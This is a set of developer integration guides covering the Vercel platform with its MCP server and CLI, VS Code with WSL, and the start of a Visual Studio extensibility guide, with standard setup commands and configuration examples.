Vercel is a full compute platform — not just a frontend/static host. It runs full backend frameworks (Express, FastAPI, NestJS, Hono, …) natively with zero config, and its default runtime is Fluid Compute (regular Node.js with instance reuse), which replaced the old push toward the Edge runtime. Its official MCP server gives Claude Code direct access to deployments, logs, runtime errors, projects, Web Analytics, and domains — no browser required. Combined with the vercel CLI and GitHub Actions, you can build fully automated deploy, preview, and rollback pipelines driven by Claude Code.

Here is the core flow at a glance — a single git push fans out into builds, previews, and a production deploy on the edge:

flowchart LR
  A["git push"] --> B{"Branch?"}
  B -->|"master"| C["Build"]
  B -->|"feature branch / PR"| D["Build"]
  C --> E["Production deploy"]
  D --> F["Preview deploy<br/>per-PR URL"]
  E --> G["Edge CDN<br/>global users"]
  F --> H["Test before<br/>promoting to prod"]

Official Documentation

Resource URL
Vercel Docs https://vercel.com/docs
Vercel MCP Server https://vercel.com/docs/agent-resources/vercel-mcp
Vercel CLI Reference https://vercel.com/docs/cli
REST API https://vercel.com/docs/rest-api
Next.js Docs https://nextjs.org/docs

MCP Server Setup

Vercel hosts an official MCP server at https://mcp.vercel.com using OAuth authentication (it implements the current MCP Authorization + Streamable HTTP specs).

# Add Vercel MCP to Claude Code (authenticates via OAuth browser flow)
claude mcp add --transport http vercel https://mcp.vercel.com

# then, inside `claude`, authorize the connection:
/mcp

Claude Code will open a browser to complete OAuth. Once done, the token is cached automatically. To wire the same server into every installed agent at once, Vercel also ships a one-shot installer: npx -y add-mcp https://mcp.vercel.com -g.

.mcp.json Configuration (Token-based)

{
  "mcpServers": {
    "vercel": {
      "type": "http",
      "url": "https://mcp.vercel.com",
      "headers": {
        "Authorization": "Bearer ${VERCEL_TOKEN}"
      }
    }
  }
}

Available MCP Tools

The tool set has grown well beyond deploy inspection. Core tools you will reach for:

Tool Description
search_vercel_documentation Search Vercel docs in natural language
list_teams List your Vercel teams
list_projects / get_project List projects; get framework, domains, latest deploy
list_deployments / get_deployment List deployments; get status and URLs
get_deployment_build_logs Fetch build logs (errorsOnly to isolate failures)
get_runtime_logs Fetch function runtime logs with filters/full-text search
get_runtime_errors Grouped production error clusters — start here before get_runtime_logs
deploy_to_vercel Deploy a supplied file tree to preview or production
get_web_analytics Query visitors, page views, and custom events
check_domain_availability_and_price / buy_domain Check and purchase domains
use_vercel_cli Run Vercel CLI commands through the server

Additional categories exist: Agent Runs observability (list_agent_runs, get_agent_run, get_agent_run_trace — for eve agents), Purchase (buy_pro, buy_credits, buy_addon), Access (web_fetch_vercel_url), Design import, and Toolbar threads. See the tools reference for the full, current list.


CLI Integration

Installation

npm install -g vercel

Authentication

vercel login
# Or use a token:
vercel login --token $VERCEL_TOKEN

Key Commands

# Deploy current directory
vercel deploy

# Deploy to production
vercel --prod

# List deployments
vercel ls

# Inspect a deployment
vercel inspect <deployment-url>

# View logs
vercel logs <deployment-url>

# Manage environment variables
vercel env add MY_VAR production
vercel env ls production
vercel env rm MY_VAR production

# Rollback to previous deployment
vercel rollback

# Pull env vars to local .env
vercel env pull .env.local

# Link project to local directory
vercel link

# Open project dashboard in browser
vercel open

Environment Variables

# Vercel token (from vercel.com/account/tokens)
VERCEL_TOKEN=...

# Project and team (from project settings or `vercel link`)
VERCEL_ORG_ID=team_...
VERCEL_PROJECT_ID=prj_...

# Used inside deployed functions
NEXT_PUBLIC_API_URL=https://api.example.com
DATABASE_URL=postgresql://...

Sync local .env.local with Vercel:

vercel env pull .env.local

Compute model — Fluid Compute (default)

Since April 2025 Fluid Compute is the default runtime for new projects, and it changes several long-held assumptions. It reuses a single function instance across concurrent requests (fewer cold starts), keeps the full Node.js API surface, and bills on Active CPU — you pay for CPU time while your code executes, plus provisioned memory and invocations, not wall-clock GB-seconds. Enable it explicitly with "fluid": true in the config file if a project predates the default.

What this means in practice (correct these if you learned Vercel a year ago):

codeAmani angle: because a Fluid Node.js function can now hold persistent connections and stream, you no longer need to route realtime/long-lived work off-platform by reflex. It also unlocks AI Gateway (one API across providers with fallbacks), Queues (durable event streaming), and Sandbox (isolated code execution) for AI features.

Project configuration lives at the repo root and controls rewrites, redirects, response headers, per-function compute (region, runtime, maxDuration), Fluid Compute, and scheduled crons. Settings here are committed to git and apply on every deploy, so they are the durable counterpart to anything you can also click in the dashboard.

vercel.ts is now the recommended format. It replaces vercel.json with full TypeScript — typed config, helper functions, dynamic logic, and access to deployment-time env vars. Install @vercel/config and export a typed config:

// vercel.ts
import { routes, deploymentEnv, type VercelConfig } from '@vercel/config/v1';

export const config: VercelConfig = {
  buildCommand: 'npm run build',
  framework: 'nextjs',
  rewrites: [
    // front an external API under your own domain
    routes.rewrite('/api/proxy/(.*)', 'https://api.example.com/$1', {
      requestHeaders: { authorization: `Bearer ${deploymentEnv('API_TOKEN')}` },
    }),
  ],
  redirects: [
    routes.redirect('/old-pricing', '/pricing', { permanent: true }),
  ],
  headers: [
    routes.header('/(.*)', [
      { key: 'X-Frame-Options', value: 'SAMEORIGIN' },
      { key: 'X-Content-Type-Options', value: 'nosniff' },
    ]),
    routes.cacheControl('/static/(.*)', { public: true, maxAge: '1 week', immutable: true }),
  ],
  crons: [
    { path: '/api/reconcile-mpesa', schedule: '0 * * * *' },
  ],
};

Install: npm i @vercel/config. The routes.* helpers (rewrite, redirect, header, cacheControl) build the same route objects vercel.json uses, and deploymentEnv('NAME') injects an env var at deploy time. Import from @vercel/config/v1 to pin the schema.

vercel.json (still fully supported)

vercel.json remains valid and is what most existing projects (including this dashboard) use. Start the file with the $schema line for editor autocomplete and validation.

How a request and a scheduled job flow through it:

flowchart TD
  A["Incoming request"] --> B{"Match in vercel.json?"}
  B -->|"redirects"| C["3xx to new URL"]
  B -->|"rewrites"| D["Proxy to destination<br/>URL unchanged"]
  B -->|"headers"| E["Attach response headers"]
  D --> F["Function runs<br/>region · CPU type · maxDuration"]
  G["Vercel cron scheduler"] -->|"crons path"| F
  F --> H["Response to user"]
{
  "$schema": "https://openapi.vercel.sh/vercel.json",
  "redirects": [
    { "source": "/old-pricing", "destination": "/pricing", "permanent": true }
  ],
  "rewrites": [
    { "source": "/api/proxy/:path*", "destination": "https://api.example.com/:path*" }
  ],
  "headers": [
    {
      "source": "/(.*)",
      "headers": [
        { "key": "X-Frame-Options", "value": "SAMEORIGIN" },
        { "key": "X-Content-Type-Options", "value": "nosniff" }
      ]
    }
  ],
  "functions": {
    "app/api/mpesa/stk/route.ts": {
      "maxDuration": 30
    }
  },
  "crons": [
    { "path": "/api/reconcile-mpesa", "schedule": "0 * * * *" }
  ]
}

Field notes (verified against the current schema):

Gotcha — secure your cron endpoints. Cron paths are publicly reachable URLs; anyone who guesses /api/reconcile-mpesa can trigger your job. Vercel sends an Authorization: Bearer <CRON_SECRET> header on scheduled invocations — set a CRON_SECRET env var and reject any request whose header does not match:

// app/api/reconcile-mpesa/route.ts
export function GET(request: Request) {
  const authHeader = request.headers.get('authorization');
  if (authHeader !== `Bearer ${process.env.CRON_SECRET}`) {
    return new Response('Unauthorized', { status: 401 });
  }
  // ... reconciliation logic
  return Response.json({ ok: true });
}

Second gotcha: under Fluid Compute (the default) there is no memory (MB) field — pick a CPU type (Standard/Performance) in the project dashboard instead. maxDuration, regions, and fluid still work in the file (and in vercel.ts).


Automation Workflows

You are in great shape to automate the full loop — here is how Claude Code drives a deploy with the CLI and then inspects the result through the MCP server:

sequenceDiagram
  participant U as "You"
  participant CC as "Claude Code"
  participant CLI as "Vercel CLI"
  participant MCP as "Vercel MCP"
  U->>CC: "Run /project-deploy"
  CC->>CLI: "vercel --prod --yes"
  CLI-->>CC: "Deployment URL"
  CC->>MCP: "list_deployments"
  MCP-->>CC: "Status and build logs"
  CC-->>U: "URL, status, warnings"

Claude Code Hook: Post-Deploy Notification

.claude/settings.json:

{
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "if echo \"$CLAUDE_TOOL_OUTPUT\" | grep -q 'vercel --prod'; then node scripts/notify-deploy.js; fi"
          }
        ]
      }
    ]
  }
}

Slash Command: Deploy and Inspect

.claude/commands/deploy.md:

Deploy the current project to Vercel production and report the deployment URL and status.

Use Bash to run:
```bash
vercel --prod --yes 2>&1 | tail -5

Then use the Vercel MCP tool list_deployments to get the latest deployment's URL and build status. Report back with the deployment URL, status, and any build warnings.


Usage: `/project:deploy`

### CI/CD: GitHub Actions with Vercel

```yaml
# .github/workflows/deploy.yml
name: Deploy to Vercel
on:
  push:
    branches: [main]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Install Vercel CLI
        run: npm install -g vercel
      - name: Pull Vercel environment
        run: vercel env pull .env.production --token=${{ secrets.VERCEL_TOKEN }}
      - name: Build
        run: vercel build --prod --token=${{ secrets.VERCEL_TOKEN }}
      - name: Deploy
        id: deploy
        run: |
          url=$(vercel deploy --prebuilt --prod --token=${{ secrets.VERCEL_TOKEN }})
          echo "url=$url" >> $GITHUB_OUTPUT
      - name: Comment PR with preview URL
        uses: actions/github-script@v7
        with:
          script: |
            github.rest.issues.createComment({
              issue_number: context.issue.number,
              owner: context.repo.owner,
              repo: context.repo.repo,
              body: `Deployed to: ${{ steps.deploy.outputs.url }}`
            })

Preview Deployments per Branch

# Deploy a preview for the current branch
vercel deploy --env BRANCH=$(git branch --show-current)

Common Use Cases

Use Case Approach
Inspect failing build MCP get_deployment_build_logs (errorsOnly)
Triage production errors MCP get_runtime_errors first, then get_runtime_logs to drill in
Rollback bad release vercel rollback or MCP
Manage env vars vercel env add/ls/rm
Domain assignment MCP check_domain_availability_and_price / buy_domain
Preview links in PRs GitHub Actions + vercel deploy
Realtime / streaming / WebSockets Fluid Node.js function (no separate socket server)
Multi-provider AI with fallbacks Vercel AI Gateway
Long-running / durable jobs Vercel Workflows (unbounded) or Queues (durable events)

Troubleshooting

Issue Fix
vercel: command not found npm install -g vercel
OAuth timeout Use VERCEL_TOKEN in .mcp.json instead
Build failing Use MCP get_deployment_build_logs to read errors
Env vars missing in prod Run vercel env ls production to verify
VERCEL_PROJECT_ID unknown Run vercel link in project root

Official docs:

Visual Studio Code Integration Guide

Technology: vscode · Category: tooling · Last reviewed: 2026-08-23

Source: https://tech-stack.codeamanilabs.org/guide/vscode

Insight:

VS Code's real superpower on Windows is not the editor — it's the client/server split. Install VS Code on Windows, type code . inside Ubuntu, and the UI stays on Windows while the language servers, terminal, debugger, and file watchers all run as Linux processes on the Linux filesystem. That is the only setup where a Next.js/TypeScript stack behaves identically on a dev laptop and on Vercel's Linux builders. The trade-off: extensions now live in two places and you have to know which side each one runs on.

 ██╗   ██╗███████╗     ██████╗ ██████╗ ██████╗ ███████╗
 ██║   ██║██╔════╝    ██╔════╝██╔═══██╗██╔══██╗██╔════╝
 ██║   ██║███████╗    ██║     ██║   ██║██║  ██║█████╗
 ╚██╗ ██╔╝╚════██║    ██║     ██║   ██║██║  ██║██╔══╝
  ╚████╔╝ ███████║    ╚██████╗╚██████╔╝██████╔╝███████╗
   ╚═══╝  ╚══════╝     ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝

Visual Studio Code Integration Guide

Focus: A developer's guide to VS Code driving WSL Ubuntu from Windows — the WSL extension, code ., extension placement, workspace/remote settings, the integrated terminal, tasks, debugging, dev containers, and running Claude Code inside it.

Overview

VS Code is a free, cross-platform editor built on Electron with a remote-capable architecture: the workbench (UI, themes, keybindings) runs on your machine, while a VS Code Server process can run somewhere else — inside a WSL distro, over SSH, or in a container. The WSL extension (ms-vscode-remote.remote-wsl) installs that server into your Linux distro and runs "commands and other extensions directly in WSL so you can edit files located in WSL or the mounted Windows filesystem (for example /mnt/c) without worrying about pathing issues, binary compatibility, or other cross-OS challenges."

For codeAmani that matters because the whole stack — Next.js 15, Node, pnpm/npm, Prisma engines, sharp, Playwright browsers, Docker — is built and tested on Linux. Developing on Windows-native Node and deploying to Vercel's Linux builders is the classic source of "works on my machine": case-sensitive imports, node_modules binaries compiled for the wrong platform, CRLF diffs, and path separators. Remote-WSL removes the class entirely.

flowchart LR
  subgraph WIN["Windows 11 — client side"]
    A["VS Code workbench<br/>UI · themes · keybindings"]
    B["code CLI on PATH"]
  end
  subgraph WSL["WSL 2 · Ubuntu — server side"]
    C["VS Code Server<br/>~/.vscode-server"]
    D["Extension host<br/>ESLint · TS server · Tailwind"]
    E["Integrated terminal<br/>bash · node · git · claude"]
    F["Debugger + file watchers<br/>on /home/&lt;user&gt;/projects"]
  end
  B -->|"code . · code --remote wsl+Ubuntu"| A
  A <-->|"RPC over the WSL boundary"| C
  C --> D
  C --> E
  C --> F

Not to be confused with Visual Studio

VS Code (this guide) Visual Studio (see visual-studio/)
What it is Cross-platform editor, ~200 MB Full Windows IDE, multi-GB
Platforms Windows, macOS, Linux, web Windows (and a separate macOS product, retired)
Primary stack JS/TS, Python, Go, Rust, anything .NET, C++, MSBuild
Extension model Node/TypeScript extensions from the VS Code Marketplace VSIX / NuGet, Microsoft.VisualStudio.Extensibility or VSSDK + MEF
Remote dev First-class (WSL, SSH, containers, tunnels) Not the same model
Config JSON (settings.json, launch.json, tasks.json) .sln / .csproj / MSBuild

They share a name and nothing else. This guide is VS Code.

Local Windows vs Remote-WSL

Concern VS Code on Windows only VS Code + WSL extension
Node / package manager Windows build Linux build — same as CI and Vercel
Path & case semantics Case-insensitive, \ separators Case-sensitive, / — matches production
File watching Native Native on ext4; polling needed on WSL 1
node_modules native binaries Windows-compiled Linux-compiled
Terminal PowerShell / Git Bash Real bash in the distro
Docker / dev containers Docker Desktop Docker Desktop WSL 2 backend, or Docker in the distro

Official Documentation

Resource URL
Docs home https://code.visualstudio.com/docs
Developing in WSL https://code.visualstudio.com/docs/remote/wsl
WSL tutorial (start here) https://code.visualstudio.com/docs/remote/wsl-tutorial
Remote development overview https://code.visualstudio.com/docs/remote/remote-overview
Settings (scopes & precedence) https://code.visualstudio.com/docs/configure/settings
Debug configuration (launch.json) https://code.visualstudio.com/docs/debugtest/debugging-configuration
Tasks (tasks.json) https://code.visualstudio.com/docs/debugtest/tasks
Terminal profiles https://code.visualstudio.com/docs/terminal/profiles
Extension Marketplace https://code.visualstudio.com/docs/configure/extensions/extension-marketplace
code CLI reference https://code.visualstudio.com/docs/configure/command-line
Dev Containers https://code.visualstudio.com/docs/devcontainers/containers
WSL extension (Marketplace) https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-wsl
Working across filesystems (Microsoft) https://learn.microsoft.com/en-us/windows/wsl/filesystems

Setup — Windows + WSL Ubuntu in five minutes

Order matters: WSL first, VS Code on the Windows side, extension last.

# 1. Windows side — install WSL 2 + Ubuntu (PowerShell as Administrator, once)
wsl --install -d Ubuntu

# 2. Install VS Code on WINDOWS, not inside the distro.
#    https://code.visualstudio.com/download
#    On the "Select Additional Tasks" screen, CHECK "Add to PATH".

# 3. Install the WSL extension (any shell where `code` is on PATH)
code --install-extension ms-vscode-remote.remote-wsl

# ...or the whole Remote Development pack (WSL + SSH + Dev Containers)
code --install-extension ms-vscode-remote.vscode-remote-extensionpack

# 4. Verify
code --version
code --list-extensions --show-versions

Do not apt install code inside Ubuntu. The WSL extension pushes its own VS Code Server into ~/.vscode-server; a second Linux-native VS Code is redundant and confuses code on the distro PATH.

The daily loop

From an Ubuntu shell, in the project folder:

cd ~/projects/boda-dispatch
code .

First run downloads the server components into WSL (once, ~30s). A WSL: Ubuntu indicator appears in the bottom-left status bar — that is the single reliable signal that you are editing on the Linux side.

Other entry points:

# From Windows PowerShell / CMD — open a WSL path directly
code --remote wsl+Ubuntu /home/<user>/projects/boda-dispatch

# Force folder interpretation for a path containing a dot
code --folder-uri vscode-remote://wsl+Ubuntu/home/<user>/app.v2

# Already inside a WSL window? The same code CLI works there too
code --diff old.ts new.ts
code --goto lib/domain/dispatch.ts:42

From the Command Palette (F1) on the Windows side:

Command Does
WSL: Connect to WSL New window on the default distro
WSL: Connect to WSL using Distro Pick a specific distro
WSL: Reopen Folder in WSL Move the current folder to the Linux side
WSL: Reopen in Windows Move it back

Put the code on the Linux filesystem

Microsoft is unambiguous: "We recommend against working across operating systems with your files… For the fastest performance speed, store your files in the WSL file system if you are working in a Linux command line."

✅  /home/<user>/projects/boda-dispatch      ← ext4, fast, correct case semantics
❌  /mnt/c/Users/<user>/projects/boda-...    ← 9p bridge; npm install and HMR crawl

Editing /mnt/c works and VS Code handles the paths, but npm install, Turbopack HMR, and file watching over the Windows mount are dramatically slower. To browse the Linux files from Windows Explorer, run explorer.exe . from the WSL shell, or type \\wsl$ in the Explorer address bar.


Extensions: two installs, two homes

Once connected, the Extensions view splits into Local - Installed (UI-side: themes, icons, keymaps) and WSL: Ubuntu - Installed (everything that touches code or the filesystem: language servers, linters, formatters, debuggers, test runners). Installing from the Extensions view while connected puts the extension in the right place automatically. Extensions that should be remote but are only installed locally appear dimmed with an Install in WSL: Ubuntu button, and the cloud icon in the Local - Installed title bar offers Install Local Extensions in WSL: {Name} for a bulk move.

Commit the stack's recommendations so a new machine is one click from correct — .vscode/extensions.json:

{
  "recommendations": [
    "ms-vscode-remote.remote-wsl",
    "dbaeumer.vscode-eslint",
    "esbenp.prettier-vscode",
    "bradlc.vscode-tailwindcss",
    "Prisma.prisma",
    "vitest.explorer",
    "ms-playwright.playwright",
    "eamodio.gitlens",
    "ms-vscode-remote.remote-containers",
    "anthropic.claude-code"
  ]
}

VS Code surfaces these as Workspace Recommendations; Extensions: Configure Recommended Extensions (Workspace Folder) generates the file. Scripted setup inside the distro:

code --install-extension dbaeumer.vscode-eslint \
     --install-extension esbenp.prettier-vscode \
     --install-extension bradlc.vscode-tailwindcss --force

Rarely, an extension guesses wrong about where to run. Override it explicitly:

// settings.json — "ui" = local/client, "workspace" = remote (WSL)
"remote.extensionKind": {
  "ms-azuretools.vscode-containers": ["ui"]
}

Use this sparingly — the docs warn it can break extensions.


Settings: four scopes, one precedence order

Precedence, lowest → highest: default → user → remote → workspace → workspace folder → language-specific → policy. The remote layer is the one people forget.

Scope Where Use it for
User %APPDATA%\Code\User\settings.json (Windows client) Theme, font, keybindings — travels everywhere
Remote Preferences: Open Remote Settings → the Remote tab Anything true only inside WSL (interpreter paths, watcher tuning)
Workspace .vscode/settings.json — commit this Team formatting, TS SDK, per-repo behavior
Workspace folder Per-folder in a multi-root .code-workspace Monorepo package overrides

A sane committed .vscode/settings.json for the Next.js/TypeScript stack:

{
  "editor.formatOnSave": true,
  "editor.defaultFormatter": "esbenp.prettier-vscode",
  "editor.codeActionsOnSave": { "source.fixAll.eslint": "explicit" },

  "typescript.tsdk": "node_modules/typescript/lib",
  "typescript.enablePromptUseWorkspaceTsdk": true,
  "typescript.preferences.importModuleSpecifier": "non-relative",

  "files.eol": "\n",
  "files.exclude": { "**/.next": true },
  "files.watcherExclude": { "**/node_modules/**": true, "**/.next/**": true },
  "search.exclude": { "**/node_modules": true, "**/.next": true, "**/dist": true },

  "[typescript]": { "editor.defaultFormatter": "esbenp.prettier-vscode" },
  "[typescriptreact]": { "editor.defaultFormatter": "esbenp.prettier-vscode" },
  "tailwindCSS.experimental.classRegex": [["cva\\(([^)]*)\\)", "[\"'`]([^\"'`]*).*?[\"'`]"]]
}

"files.eol": "\n" is not cosmetic here — the same repo touched from Windows and WSL is the documented cause of "every file is modified" Git noise.


Integrated terminal

Once a folder is open in WSL, any terminal you open (Terminal → New Terminal, Ctrl+`) is already a bash shell in the distro, cwd at the workspace root. No profile configuration needed — that is the whole point.

For local Windows windows, VS Code auto-detects WSL distros as terminal profiles (terminal.integrated.useWslProfiles, on by default). To pin one:

{
  "terminal.integrated.defaultProfile.windows": "Ubuntu (WSL)",
  "terminal.integrated.profiles.windows": {
    "Ubuntu (WSL)": { "path": "C:\\WINDOWS\\System32\\wsl.exe", "args": ["-d", "Ubuntu"] }
  }
}

Gotcha: when the VS Code Server starts in WSL, no shell startup scripts are run — .bashrc/.profile are skipped for the server process. Terminals you open still source them, but tasks and debug sessions inherit the server's environment. If a tool needs env setup before the server boots, put it in ~/.vscode-server/server-env-setup, which is processed before the server starts.

terminal.integrated.automationProfile.<platform> gives tasks and the debugger a lighter shell when your interactive profile has heavy startup (oh-my-zsh, nvm, direnv).


Tasks — tasks.json

Tasks run in WSL when the window is remote, so npm run dev is Linux npm. npm scripts are auto-detected (Tasks: Run Task); write explicit tasks when you need a preLaunchTask, a problem matcher, or ordering.

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "dev",
      "type": "shell",
      "command": "npm run dev",
      "isBackground": true,
      "problemMatcher": {
        "owner": "typescript",
        "pattern": { "regexp": "^$" },
        "background": {
          "activeOnStart": true,
          "beginsPattern": "starting the development server",
          "endsPattern": "Ready in"
        }
      },
      "presentation": { "reveal": "always", "panel": "dedicated" }
    },
    {
      "label": "typecheck",
      "type": "shell",
      "command": "npx tsc --noEmit",
      "group": { "kind": "build", "isDefault": true },
      "problemMatcher": ["$tsc"]
    },
    {
      "label": "verify",
      "dependsOn": ["typecheck", "lint", "test"],
      "dependsOrder": "sequence",
      "group": "test"
    }
  ]
}

isBackground: true requires a background matcher with beginsPattern/endsPattern — without it a watch task used as preLaunchTask hangs the debug launch forever. Set options.cwd for monorepo packages.


Debugging — launch.json

Every launch config needs type, request (launch | attach), and name. In a WSL window the app starts in WSL and the debugger attaches there; nothing extra to configure. Next.js's own documented configuration:

{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Next.js: debug server-side",
      "type": "node-terminal",
      "request": "launch",
      "command": "npm run dev -- --inspect"
    },
    {
      "name": "Next.js: debug client-side",
      "type": "chrome",
      "request": "launch",
      "url": "http://localhost:3000"
    },
    {
      "name": "Next.js: debug full stack",
      "type": "node",
      "request": "launch",
      "program": "${workspaceFolder}/node_modules/next/dist/bin/next",
      "runtimeArgs": ["--inspect"],
      "skipFiles": ["<node_internals>/**"],
      "serverReadyAction": {
        "action": "debugWithChrome",
        "killOnServerStop": true,
        "pattern": "- Local:.+(https?://.+)",
        "uriFormat": "%s",
        "webRoot": "${workspaceFolder}"
      }
    }
  ]
}

Attributes worth knowing: env / envFile (point at .env.local), cwd (monorepos), console: "integratedTerminal", preLaunchTask / postDebugTask, compounds to start server + client together, and ${workspaceFolder} / ${env:NAME} substitution. serverReadyAction.pattern scans stdout and opens a browser debug session on the captured URL — that is what makes full-stack breakpoints work in one F5.

WSL port forwarding is automatic. A dev server bound in the distro is reachable at http://localhost:3000 from the Windows browser; VS Code's Ports view lists forwarded ports for remote windows.


Dev containers from WSL

With Docker Desktop's WSL 2 backend (Settings → Resources → WSL Integration, enable your distro), open the folder in WSL first, then run Dev Containers: Reopen in Container. If there is no .devcontainer/devcontainer.json, VS Code offers Dev Containers: Add Dev Container Configuration Files.

{
  "name": "codeAmani Next.js",
  "image": "mcr.microsoft.com/devcontainers/typescript-node:22",
  "features": { "ghcr.io/devcontainers/features/github-cli:1": {} },
  "forwardPorts": [3000],
  "postCreateCommand": "npm ci",
  "remoteUser": "node",
  "customizations": {
    "vscode": {
      "extensions": ["dbaeumer.vscode-eslint", "esbenp.prettier-vscode", "bradlc.vscode-tailwindcss"],
      "settings": { "editor.formatOnSave": true }
    }
  }
}

Rule of thumb: WSL for daily work (fast, zero ceremony, one shared Node/pnpm store), dev containers when the environment itself is the deliverable — a pinned Postgres + app pair, or onboarding where "install these six things" is the bottleneck. customizations.vscode.extensions is the container's answer to .vscode/extensions.json.


Claude Code inside VS Code

Two distinct things, and mixing them up is the usual confusion:

Claude Code VS Code extension Claude Code CLI
Install anthropic.claude-code from the Marketplace Standalone install, inside the distro
Surface Native chat panel with inline diffs, plan review, @-mentions claude in the integrated terminal
Requires VS Code 1.94.0+ Nothing but a shell
PATH Bundles a private CLI copy — does not put claude on PATH Is the thing on your PATH
# In the VS Code integrated terminal (already a WSL bash shell)
claude

codeAmani notes


Troubleshooting

Issue Fix
code . not found in Ubuntu VS Code wasn't installed with Add to PATH on Windows, or the terminal predates the install — restart the shell, or reinstall checking the box
Editing feels slow, HMR lags Project is on /mnt/c. Move it to /home/<user>/… — Microsoft recommends against working across filesystems
Extension missing / greyed out It's installed Local but needs to run remote — click Install in WSL: Ubuntu in the Extensions view
Extension still runs on the wrong side Force it with "remote.extensionKind": { "<publisher.ext>": ["ui" | "workspace"] } — sparingly, it can break extensions
EACCES: permission denied renaming a folder Known WSL 1 issue — set remote.WSL.fileWatcher.polling: true (and raise remote.WSL.fileWatcher.pollingInterval on large repos), or move to WSL 2
Whole repo shows as modified in Git CRLF/LF mismatch — set files.eol: "\n" and core.autocrlf input
Env var visible in bash but not to a task/debug session The server skips shell startup scripts — put it in ~/.vscode-server/server-env-setup
Debug session never starts after a watch task isBackground task missing a background problem matcher (beginsPattern/endsPattern)
Extensions fail on Alpine distros glibc dependencies in native extension code — use Ubuntu/Debian for the dev distro
Git pull/sync hangs on a remote window Passphrase-protected SSH key — clone over HTTPS or push from the terminal
VS Code can't see ANTHROPIC_API_KEY Launch it from the shell with code . so it inherits the environment

Official docs:

Visual Studio Integration Guide

Technology: visual-studio · Category: tooling · Last reviewed: 2026-08-23

Source: https://tech-stack.codeamanilabs.org/guide/visual-studio

Insight:

Visual Studio has two extensibility worlds. The modern Microsoft.VisualStudio.Extensibility SDK runs your extension out-of-process (async, hot-reload, no VS restart) and is where new editor work should start. The legacy VSSDK + MEF model (IClassifier, adornments, taggers) runs in-process via COM and still owns the deepest editor hooks. Pick the SDK first; drop to VSSDK only for a hook the SDK doesn't yet expose. Extensions ship as NuGet/VSIX, never npm.

██╗   ██╗██╗███████╗██╗   ██╗ █████╗ ██╗         ███████╗████████╗██╗   ██╗██████╗ ██╗ ██████╗
██║   ██║██║██╔════╝██║   ██║██╔══██╗██║         ██╔════╝╚══██╔══╝██║   ██║██╔══██╗██║██╔═══██╗
██║   ██║██║███████╗██║   ██║███████║██║         ███████╗   ██║   ██║   ██║██║  ██║██║██║   ██║
╚██╗ ██╔╝██║╚════██║██║   ██║██╔══██║██║         ╚════██║   ██║   ██║   ██║██║  ██║██║██║   ██║
 ╚████╔╝ ██║███████║╚██████╔╝██║  ██║███████╗    ███████║   ██║   ╚██████╔╝██████╔╝██║╚██████╔╝
  ╚═══╝  ╚═╝╚══════╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝    ╚══════╝   ╚═╝    ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝

Visual Studio Integration Guide

Focus: Extending the Visual Studio IDE's editor and tooling — building VSIX extensions with the modern out-of-process VisualStudio.Extensibility SDK and the classic VSSDK + MEF editor model (classifiers, adornments, taggers), and driving builds/tests from Claude Code via MSBuild and the dotnet/devenv CLIs.

Overview

Visual Studio is Microsoft's full Windows IDE for .NET, C++, web, and cross-platform mobile development. Unlike VS Code (a separate, lighter editor with a JavaScript extension model), Visual Studio extensions are .NET assemblies packaged as a VSIX and published to the Visual Studio Marketplace.

Versions & channels (2026-08). Visual Studio 2026 (version 18.x) is now the current major release. It renames the update channels: Stable replaces the old Current channel and Insiders replaces Preview — you can run both side by side. Visual Studio 2022 (17.x) reached its final feature minor at 17.14, which stays on the Current channel and is supported for the rest of its 10-year lifecycle to January 2032. Both major versions build the same extensions; the VisualStudio.Extensibility SDK is still versioned 17.14.x on NuGet (see the packages table) and targets net8.0, so it installs into VS 2022 17.9+ and VS 2026. Check Help > About or devenv /version before scaffolding.

Here's the big picture to keep you oriented — pick your model, scaffold, then let the build tools package the .vsix:

flowchart TD
    A["Need to extend<br/>Visual Studio"] --> Q1{"Hook exposed by<br/>the new SDK?"}
    Q1 -->|"yes"| B["VisualStudio.Extensibility SDK<br/>out-of-process · async · hot-reload"]
    Q1 -->|"no"| C["VSSDK + MEF<br/>in-process COM · deep editor hooks"]
    B --> D["Scaffold contribution classes"]
    C --> D
    D --> E["dotnet build / msbuild"]
    E --> F["Packaged .vsix"]
    F --> G["VS Marketplace or<br/>VSIXInstaller"]

There are two extensibility models, and knowing which you're in saves hours:

Model Process API style Use it when
VisualStudio.Extensibility SDK (new) Out-of-process Async, [VisualStudioContribution], hot-reload New commands, editor listeners, tool windows, LSP — start here
VSSDK + MEF (classic) In-process (COM) [Export]/[Import], requires VS restart Deep editor hooks: IClassifier, adornments, taggers, IntelliSense not yet in the new SDK

Claude Code's role here is codegen + build orchestration: scaffold the extension classes that match the fetched API, then drive dotnet build / msbuild / dotnet test to compile, package, and validate the .vsix.

Official Documentation

Resource URL
Extensibility overview https://learn.microsoft.com/en-us/visualstudio/extensibility/
VisualStudio.Extensibility (new SDK) https://learn.microsoft.com/en-us/visualstudio/extensibility/visualstudio.extensibility/
Language service & editor extension points https://learn.microsoft.com/en-us/visualstudio/extensibility/language-service-and-editor-extension-points
VSExtensibility SDK (GitHub + samples) https://github.com/microsoft/VSExtensibility
Visual Studio IDE docs https://learn.microsoft.com/en-us/visualstudio/ide/
GitHub Copilot in Visual Studio (get started) https://learn.microsoft.com/en-us/visualstudio/ide/visual-studio-github-copilot-get-started

NuGet Packages (tracked manually — not npm/pypi)

The freshness checker only follows npm and PyPI, so the frontmatter packages list is empty. Track these by hand:

Package Purpose Version at review
Microsoft.VisualStudio.Extensibility.Sdk Core out-of-process SDK 17.14.40608
Microsoft.VisualStudio.Extensibility.Build MSBuild targets that pack the .vsix 17.14.40608
Microsoft.VisualStudio.SDK (classic) Meta-package for VSSDK/MEF editor APIs matches your VS version (e.g. 17.x)
Microsoft.VSSDK.BuildTools (classic, CI) Restores VsSDK.targets so classic VSIX builds without a full VS install 18.9.x (latest on NuGet)

Latest versions: https://www.nuget.org/packages/Microsoft.VisualStudio.Extensibility.Sdk

